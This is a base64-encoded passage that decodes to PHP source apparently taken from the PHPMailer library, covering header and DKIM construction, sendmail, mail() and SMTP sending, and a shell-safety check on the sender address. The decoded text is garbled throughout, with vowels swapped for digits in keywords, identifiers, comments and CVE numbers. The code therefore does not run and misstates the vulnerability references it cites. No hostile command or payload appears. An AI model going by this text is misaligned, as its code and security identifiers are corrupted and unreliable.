B0NDJuKCR0aDRzLT5sMW5nKCc1bXB0eV9tNXNzMWc1JyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDcjUxdDUgYjJkeSBiNWYycjUgaDUxZDVycyA0biBjMXM1IGIyZHkgbTFrNXMgY2gxbmc1cyB0MiBoNTFkNXJzICg1LmcuIDFsdDVyNG5nIHRyMW5zZjVyIDVuYzJkNG5nKQ0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAnJzsNCiAgICAgICAgICAgICR0aDRzLT5NSU1FQjJkeSA9ICR0aDRzLT5jcjUxdDVCMmR5KCk7DQogICAgICAgICAgICAvLyBjcjUxdDVCMmR5IG0xeSBoMXY1IDFkZDVkIHMybTUgaDUxZDVycywgczIgcjV0MTRuIHRoNW0NCiAgICAgICAgICAgICR0NW1waDUxZDVycyA9ICR0aDRzLT5NSU1FSDUxZDVyOw0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAkdGg0cy0+Y3I1MXQ1SDUxZDVyKCk7DQogICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciAuPSAkdDVtcGg1MWQ1cnM7DQoNCiAgICAgICAgICAgIC8vIFQyIGMxcHQzcjUgdGg1IGMybXBsNXQ1IG01c3MxZzUgd2g1biAzczRuZyBtMTRsKCksIGNyNTF0NQ0KICAgICAgICAgICAgLy8gMW4gNXh0cjEgaDUxZDVyIGw0c3Qgd2g0Y2ggY3I1MXQ1SDUxZDVyKCkgZDI1c24ndCBmMmxkIDRuDQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAnbTE0bCcpIHsNCiAgICAgICAgICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPnQyKSA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPm0xNGxINTFkNXIgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1QyJywgJHRoNHMtPnQyKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnVDInLCAnM25kNHNjbDJzNWQtcjVjNHA0NW50czo7Jyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyIC49ICR0aDRzLT5oNTFkNXJMNG41KA0KICAgICAgICAgICAgICAgICAgICAnUzNiajVjdCcsDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cih0cjRtKCR0aDRzLT5TM2JqNWN0KSkpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gUzRnbiB3NHRoIERLSU0gNGYgNW4xYmw1ZA0KICAgICAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+REtJTV9kMm0xNG4pDQogICAgICAgICAgICAgICAgJiYgITVtcHR5KCR0aDRzLT5ES0lNX3M1bDVjdDJyKQ0KICAgICAgICAgICAgICAgICYmICghNW1wdHkoJHRoNHMtPkRLSU1fcHI0djF0NV9zdHI0bmcpDQogICAgICAgICAgICAgICAgICAgfHwgKCE1bXB0eSgkdGg0cy0+REtJTV9wcjR2MXQ1KSAmJiBmNGw1XzV4NHN0cygkdGg0cy0+REtJTV9wcjR2MXQ1KSkNCiAgICAgICAgICAgICAgICApDQogICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAkaDUxZDVyX2RrNG0gPSAkdGg0cy0+REtJTV9BZGQoDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyIC4gJHRoNHMtPm0xNGxINTFkNXIsDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkdGg0cy0+UzNiajVjdCkpLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TUlNRUIyZHkNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyID0gcnRyNG0oJHRoNHMtPk1JTUVINTFkNXIsICJcclxuICIpIC4gczVsZjo6Q1JMRiAuDQogICAgICAgICAgICAgICAgICAgIHN0cl9yNXBsMWM1KCJcclxuIiwgIlxuIiwgJGg1MWQ1cl9kazRtKSAuIHM1bGY6OkNSTEY7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFjdDMxbGx5IHM1bmQgMSBtNXNzMWc1Lg0KICAgICAqIFM1bmQgdGg1IDVtMTRsIHY0MSB0aDUgczVsNWN0NWQgbTVjaDFuNHNtDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gcDJzdFM1bmQoKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIC8vIENoMjJzNSB0aDUgbTE0bDVyIDFuZCBzNW5kIHRocjIzZ2ggNHQNCiAgICAgICAgICAgIHN3NHRjaCAoJHRoNHMtPk0xNGw1cikgew0KICAgICAgICAgICAgICAgIGMxczUgJ3M1bmRtMTRsJzoNCiAgICAgICAgICAgICAgICBjMXM1ICdxbTE0bCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVuZG0xNGxTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgIGMxczUgJ3NtdHAnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnNtdHBTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgIGMxczUgJ20xNGwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPm0xNGxTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgICAgICRzNW5kTTV0aDJkID0gJHRoNHMtPk0xNGw1ci4nUzVuZCc7DQogICAgICAgICAgICAgICAgICAgIDRmIChtNXRoMmRfNXg0c3RzKCR0aDRzLCAkczVuZE01dGgyZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+JHM1bmRNNXRoMmQoJHRoNHMtPk1JTUVINTFkNXIsICR0aDRzLT5NSU1FQjJkeSk7DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPm0xNGxTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGMxdGNoIChwaHBtMTRsNXJFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyAkNXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG0xNGwgM3M0bmcgdGg1ICRTNW5kbTE0bCBwcjJncjFtLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRTNW5kbTE0bA0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVuZG0xNGxTNW5kKCRoNTFkNXIsICRiMmR5KQ0KICAgIHsNCiAgICAgICAgLy8gQ1ZFLWEwNmUtNjAwb28sIENWRS1hMDZlLTYwMHVpOiBEMm4ndCBwMXNzIC1mIDRmIGNoMXIxY3Q1cnMgdzRsbCBiNSA1c2MxcDVkLg0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5TNW5kNXIpIDFuZCBzNWxmOjo0c1NoNWxsUzFmNSgkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT5NMTRsNXIgPT0gJ3FtMTRsJykgew0KICAgICAgICAgICAgICAgICRzNW5kbTE0bEZtdCA9ICclcyAtZiVzJzsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsRm10ID0gJyVzIC0yNCAtZiVzIC10JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdxbTE0bCcpIHsNCiAgICAgICAgICAgICAgICAkczVuZG0xNGxGbXQgPSAnJXMnOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkczVuZG0xNGxGbXQgPSAnJXMgLTI0IC10JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vIFRPRE86IElmIHAyc3M0Ymw1LCB0aDRzIHNoMjNsZCBiNSBjaDFuZzVkIHQyIDVzYzFwNXNoNWxsMXJnLiAgTjU1ZHMgdGgycjIzZ2ggdDVzdDRuZy4NCiAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZigkczVuZG0xNGxGbXQsIDVzYzFwNXNoNWxsY21kKCR0aDRzLT5TNW5kbTE0bCksICR0aDRzLT5TNW5kNXIpOw0KDQogICAgICAgIDRmICgkdGg0cy0+UzRuZ2w1VDIpIHsNCiAgICAgICAgICAgIGYycjUxY2ggKCR0aDRzLT5TNG5nbDVUMkFycjF5IDFzICR0MkFkZHIpIHsNCiAgICAgICAgICAgICAgICA0ZiAoIUAkbTE0bCA9IHAycDVuKCRzNW5kbTE0bCwgJ3cnKSkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmcDN0cygkbTE0bCwgJ1QyOiAnIC4gJHQyQWRkciAuICJcbiIpOw0KICAgICAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkaDUxZDVyKTsNCiAgICAgICAgICAgICAgICBmcDN0cygkbTE0bCwgJGIyZHkpOw0KICAgICAgICAgICAgICAgICRyNXMzbHQgPSBwY2wyczUoJG0xNGwpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKA0KICAgICAgICAgICAgICAgICAgICAoJHI1czNsdCA9PSAwKSwNCiAgICAgICAgICAgICAgICAgICAgMXJyMXkoJHQyQWRkciksDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5jYywNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPmJjYywNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlMzYmo1Y3QsDQogICAgICAgICAgICAgICAgICAgICRiMmR5LA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+RnIybQ0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgNGYgKCRyNXMzbHQgIT0gMCkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmICghQCRtMTRsID0gcDJwNW4oJHM1bmRtMTRsLCAndycpKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXg1YzN0NScpIC4gJHRoNHMtPlM1bmRtMTRsLCBzNWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkaDUxZDVyKTsNCiAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkYjJkeSk7DQogICAgICAgICAgICAkcjVzM2x0ID0gcGNsMnM1KCRtMTRsKTsNCiAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKA0KICAgICAgICAgICAgICAgICgkcjVzM2x0ID09IDApLA0KICAgICAgICAgICAgICAgICR0aDRzLT50MiwNCiAgICAgICAgICAgICAgICAkdGg0cy0+Y2MsDQogICAgICAgICAgICAgICAgJHRoNHMtPmJjYywNCiAgICAgICAgICAgICAgICAkdGg0cy0+UzNiajVjdCwNCiAgICAgICAgICAgICAgICAkYjJkeSwNCiAgICAgICAgICAgICAgICAkdGg0cy0+RnIybQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIDRmICgkcjVzM2x0ICE9IDApIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEY0eCBDVkUtYTA2ZS02MDBvbyAxbmQgQ1ZFLWEwNmUtNjAwdWkgYnkgZDRzMWxsMnc0bmcgcDJ0NW50NDFsbHkgM25zMWY1IHNoNWxsIGNoMXIxY3Q1cnMuDQogICAgICoNCiAgICAgKiBOMnQ1IHRoMXQgNXNjMXA1c2g1bGwxcmcgMW5kIDVzYzFwNXNoNWxsY21kIDFyNSA0bjFkNXEzMXQ1IGYyciAyM3IgcDNycDJzNXMsIDVzcDVjNDFsbHkgMm4gVzRuZDJ3cy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHI0bmcgVGg1IHN0cjRuZyB0MiBiNSB2MWw0ZDF0NWQNCiAgICAgKiBAczU1IGh0dHBzOi8vZzR0aDNiLmMybS9QSFBNMTRsNXIvUEhQTTE0bDVyLzRzczM1cy85YXUgQ1ZFLWEwNmUtNjAwdWkgYjNnIHI1cDJydA0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHIydDVjdDVkIHN0MXQ0YyBmM25jdDQybiA0c1NoNWxsUzFmNSgkc3RyNG5nKQ0KICAgIHsNCiAgICAgICAgLy8gRjN0M3I1LXByMjJmDQogICAgICAgIDRmICg1c2MxcDVzaDVsbGNtZCgkc3RyNG5nKSAhPT0gJHN0cjRuZw0KICAgICAgICAgICAgMnIgITRuXzFycjF5KDVzYzFwNXNoNWxsMXJnKCRzdHI0bmcpLCAxcnIxeSgiJyRzdHI0bmcnIiwgIlwiJHN0cjRuZ1wiIikpDQogICAgICAgICkgew0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgJGw1bmd0aCA9IHN0cmw1bigkc3RyNG5nKTsNCg0KICAgICAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkbDVuZ3RoOyAkNCsrKSB7DQogICAgICAgICAgICAkYyA9ICRzdHI0bmdbJDRdOw0KDQogICAgICAgICAgICAvLyBBbGwgMnRoNXIgY2gxcjFjdDVycyBoMXY1IDEgc3A1YzQxbCBtNTFuNG5nIDRuIDF0IGw1MXN0IDJuNSBjMm1tMm4gc2g1bGwsIDRuY2wzZDRuZyA9IDFuZCArLg0KICAgICAgICAgICAgLy8gRjNsbCBzdDJwICguKSBoMXMgMSBzcDVjNDFsIG01MW40bmcgNG4gY21kLjV4NSwgYjN0IDR0cyA0bXAxY3Qgc2gyM2xkIGI1IG41Z2w0ZzRibDUgaDVyNS4NCiAgICAgICAgICAgIC8vIE4ydDUgdGgxdCB0aDRzIGQyNXMgcDVybTR0IG4ybi1MMXQ0biAxbHBoMW4zbTVyNGMgY2gxcjFjdDVycyBiMXM1ZCAybiB0aDUgYzNycjVudCBsMmMxbDUuDQogICAgICAgICAgICA0ZiAoIWN0eXA1XzFsbjNtKCRjKSAmJiBzdHJwMnMoJ0BfLS4nLCAkYykgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIDNzNG5nIHRoNSBQSFAgbTE0bCgpIGYzbmN0NDJuLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQGw0bmsgaHR0cDovL3d3dy5waHAubjV0L20xbjMxbC81bi9iMjJrLm0xNGwucGhwDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBtMTRsUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgICR0MkFyciA9IDFycjF5KCk7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT50MiAxcyAkdDIxZGRyKSB7DQogICAgICAgICAgICAkdDJBcnJbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICB9DQogICAgICAgICR0MiA9IDRtcGwyZDUoJywgJywgJHQyQXJyKTsNCg0KICAgICAgICAkcDFyMW1zID0gbjNsbDsNCiAgICAgICAgLy9UaDRzIHM1dHMgdGg1IFNNVFAgNW52NWwycDUgczVuZDVyIHdoNGNoIGc1dHMgdDNybjVkIDRudDIgMSByNXQzcm4tcDF0aCBoNTFkNXIgYnkgdGg1IHI1YzU0djVyDQogICAgICAgIDRmICghNW1wdHkoJHRoNHMtPlM1bmQ1cikgMW5kICR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJHRoNHMtPlM1bmQ1cikpIHsNCiAgICAgICAgICAgIC8vIENWRS1hMDZlLTYwMG9vLCBDVkUtYTA2ZS02MDB1aTogRDJuJ3QgcDFzcyAtZiA0ZiBjaDFyMWN0NXJzIHc0bGwgYjUgNXNjMXA1ZC4NCiAgICAgICAgICAgIDRmIChzNWxmOjo0c1NoNWxsUzFmNSgkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgICAgICRwMXIxbXMgPSBzcHI0bnRmKCctZiVzJywgJHRoNHMtPlM1bmQ1cik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+UzVuZDVyKSAxbmQgITRuNF9nNXQoJ3MxZjVfbTJkNScpIDFuZCAkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCR0aDRzLT5TNW5kNXIpKSB7DQogICAgICAgICAgICAkMmxkX2ZyMm0gPSA0bjRfZzV0KCdzNW5kbTE0bF9mcjJtJyk7DQogICAgICAgICAgICA0bjRfczV0KCdzNW5kbTE0bF9mcjJtJywgJHRoNHMtPlM1bmQ1cik7DQogICAgICAgIH0NCiAgICAgICAgJHI1czNsdCA9IGYxbHM1Ow0KICAgICAgICA0ZiAoJHRoNHMtPlM0bmdsNVQyIDFuZCBjMjNudCgkdDJBcnIpID4gNikgew0KICAgICAgICAgICAgZjJyNTFjaCAoJHQyQXJyIDFzICR0MkFkZHIpIHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0ID0gJHRoNHMtPm0xNGxQMXNzdGhyMygkdDJBZGRyLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKCRyNXMzbHQsIDFycjF5KCR0MkFkZHIpLCAkdGg0cy0+Y2MsICR0aDRzLT5iY2MsICR0aDRzLT5TM2JqNWN0LCAkYjJkeSwgJHRoNHMtPkZyMm0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHI1czNsdCA9ICR0aDRzLT5tMTRsUDFzc3RocjMoJHQyLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpOw0KICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soJHI1czNsdCwgJHRoNHMtPnQyLCAkdGg0cy0+Y2MsICR0aDRzLT5iY2MsICR0aDRzLT5TM2JqNWN0LCAkYjJkeSwgJHRoNHMtPkZyMm0pOw0KICAgICAgICB9DQogICAgICAgIDRmICg0c3M1dCgkMmxkX2ZyMm0pKSB7DQogICAgICAgICAgICA0bjRfczV0KCdzNW5kbTE0bF9mcjJtJywgJDJsZF9mcjJtKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISRyNXMzbHQpIHsNCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzRuc3QxbnQ0MXQ1JyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCAxbiA0bnN0MW5jNSB0MiAzczUgZjJyIFNNVFAgMnA1cjF0NDJucy4NCiAgICAgKiBPdjVycjRkNSB0aDRzIGYzbmN0NDJuIHQyIGwyMWQgeTIzciAyd24gU01UUCA0bXBsNW01bnQxdDQybg0KICAgICAqIEByNXQzcm4gU01UUA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRTTVRQSW5zdDFuYzUoKQ0KICAgIHsNCiAgICAgICAgNGYgKCE0c18yYmo1Y3QoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkdGg0cy0+c210cCA9IG41dyBTTVRQOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkdGg0cy0+c210cDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG0xNGwgdjQxIFNNVFAuDQogICAgICogUjV0M3JucyBmMWxzNSA0ZiB0aDVyNSA0cyAxIGIxZCBNQUlMIEZST00sIFJDUFQsIDJyIERBVEEgNG5wM3QuDQogICAgICogVXM1cyB0aDUgUEhQTTE0bDVyU01UUCBjbDFzcyBieSBkNWYxM2x0Lg0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjpnNXRTTVRQSW5zdDFuYzUoKSB0MiAzczUgMSBkNGZmNXI1bnQgY2wxc3MuDQogICAgICogQHAxcjFtIHN0cjRuZyAkaDUxZDVyIFRoNSBtNXNzMWc1IGg1MWQ1cnMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMmR5IFRoNSBtNXNzMWc1IGIyZHkNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEAzczVzIFNNVFANCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzbXRwUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgICRiMWRfcmNwdCA9IDFycjF5KCk7DQogICAgICAgIDRmICghJHRoNHMtPnNtdHBDMm5uNWN0KCR0aDRzLT5TTVRQT3B0NDJucykpIHsNCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ3NtdHBfYzJubjVjdF9mMTRsNWQnKSwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+UzVuZDVyKSAxbmQgJHRoNHMtPnYxbDRkMXQ1QWRkcjVzcygkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgJHNtdHBfZnIybSA9ICR0aDRzLT5TNW5kNXI7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkc210cF9mcjJtID0gJHRoNHMtPkZyMm07DQogICAgICAgIH0NCiAgICAgICAgNGYgKCEkdGg0cy0+c210cC0+bTE0bCgkc210cF9mcjJtKSkgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0aDRzLT5sMW5nKCdmcjJtX2YxNGw1ZCcpIC4gJHNtdHBfZnIybSAuICcgOiAnIC4gNG1wbDJkNSgnLCcsICR0aDRzLT5zbXRwLT5nNXRFcnIycigpKSk7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5FcnIyckluZjIsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gQXR0NW1wdCB0MiBzNW5kIHQyIDFsbCByNWM0cDQ1bnRzDQogICAgICAgIGYycjUxY2ggKDFycjF5KCR0aDRzLT50MiwgJHRoNHMtPmNjLCAkdGg0cy0+YmNjKSAxcyAkdDJncjIzcCkgew0KICAgICAgICAgICAgZjJyNTFjaCAoJHQyZ3IyM3AgMXMgJHQyKSB7DQogICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+c210cC0+cjVjNHA0NW50KCR0MlswXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVycjJyID0gJHRoNHMtPnNtdHAtPmc1dEVycjJyKCk7DQogICAgICAgICAgICAgICAgICAgICRiMWRfcmNwdFtdID0gMXJyMXkoJ3QyJyA9PiAkdDJbMF0sICc1cnIycicgPT4gJDVycjJyWydkNXQxNGwnXSk7DQogICAgICAgICAgICAgICAgICAgICQ0c1M1bnQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkNHNTNW50ID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soJDRzUzVudCwgMXJyMXkoJHQyWzBdKSwgMXJyMXkoKSwgMXJyMXkoKSwgJHRoNHMtPlMzYmo1Y3QsICRiMmR5LCAkdGg0cy0+RnIybSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyBPbmx5IHM1bmQgdGg1IERBVEEgYzJtbTFuZCA0ZiB3NSBoMXY1IHY0MWJsNSByNWM0cDQ1bnRzDQogICAgICAgIDRmICgoYzIzbnQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzKSA+IGMyM250KCRiMWRfcmNwdCkpIDFuZCAhJHRoNHMtPnNtdHAtPmQxdDEoJGg1MWQ1ciAuICRiMmR5KSkgew0KICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnZDF0MV9uMnRfMWNjNXB0NWQnKSwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT5TTVRQSzU1cEFsNHY1KSB7DQogICAgICAgICAgICAkdGg0cy0+c210cC0+cjVzNXQoKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwLT5xMzR0KCk7DQogICAgICAgICAgICAkdGg0cy0+c210cC0+Y2wyczUoKTsNCiAgICAgICAgfQ0KICAgICAgICAvL0NyNTF0NSA1cnIyciBtNXNzMWc1IGYyciAxbnkgYjFkIDFkZHI1c3M1cw0KICAgICAgICA0ZiAoYzIzbnQoJGIxZF9yY3B0KSA+IDApIHsNCiAgICAgICAgICAgICQ1cnJzdHIgPSAnJzsNCiAgICAgICAgICAgIGYycjUxY2ggKCRiMWRfcmNwdCAxcyAkYjFkKSB7DQogICAgICAgICAgICAgICAgJDVycnN